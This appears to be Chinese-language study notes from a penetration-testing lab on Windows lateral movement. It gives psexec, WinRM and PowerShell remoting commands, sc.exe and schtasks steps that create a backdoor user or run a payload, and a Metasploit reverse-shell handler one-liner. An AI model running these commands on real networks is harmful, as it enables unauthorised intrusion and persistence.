横向移动与旋转
远程生成进程
# PSexec
## 条件
端口:445/TCP(smb)
所需的组成员身份:管理员
## 下载位置
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
## 使用
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
# WinRM
## 条件
端口:5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
所需的组成员身份:远程管理用户
## 使用
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd
# powershell替代WinRM
我们可以从 Powershell 实现相同的目的,但要传递不同的凭据,我们需要创建一个 PSCredential 对象:
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
获得 PSCredential 对象后,可以使用 Enter-PSSession cmdlet 创建交互式会话:
Enter-PSSession -Computername TARGET -Credential $credential
Powershell 还包括 Invoke-Command cmdlet,它通过 WinRM 远程运行 ScriptBlocks。凭据也必须通过 PSCredential 对象传递:
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
# ps
msf快捷使用
msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 4444;exploit"
远程生成服务
# 使用 sc 创建服务
## 条件
端口:
135/TCP、49152-65535/TCP (DCE/RPC)
445/TCP(基于 SMB 命名管道的 RPC)445/TCP (RPC over SMB Named Pipes)
139/TCP(基于 SMB 命名管道的 RPC)139/TCP (RPC over SMB Named Pipes)
所需的组成员身份:管理员
## 使用
### 创建新用户
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice
### 停止和删除服务
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
远程创建计划任务
# schtasks
## 使用
### 创建计划任务
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /TN "THMtask1"
### 删除计划任务
schtasks /S TARGET /TN "THMtask1"